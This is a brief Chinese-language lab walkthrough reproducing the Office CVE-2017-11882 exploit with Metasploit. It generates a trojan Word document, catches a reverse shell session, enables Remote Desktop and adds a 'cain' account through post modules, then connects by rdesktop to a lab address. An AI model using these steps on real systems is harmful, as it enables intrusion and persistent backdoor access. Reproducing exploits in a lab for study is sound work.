CVE_2017_11882漏洞复现(Metasploit开启NT远程桌面添加账户)

靶机安装windows office 2016

2.rb复制文件到攻击机的msf的模块文件下并刷新

这里注意：msf放到库文件下 不能用-   只能用下划线 _ 不然刷新库 不认

3.设置参数 运行并生成 木马doc

4.运行监听 靶机执行木马

注意: 这边连接后并不会直接回显，需要用seesions –i 1的方式来链接反弹

5.开启远程桌面      run post/windows/manage/enable_rdp

6.添加远程桌面密码run post/windows/manage/enable_rdp USERNAME=cain PASSWORD=cain

7.连接远程桌面  命令: rdesktop 192.168.128.6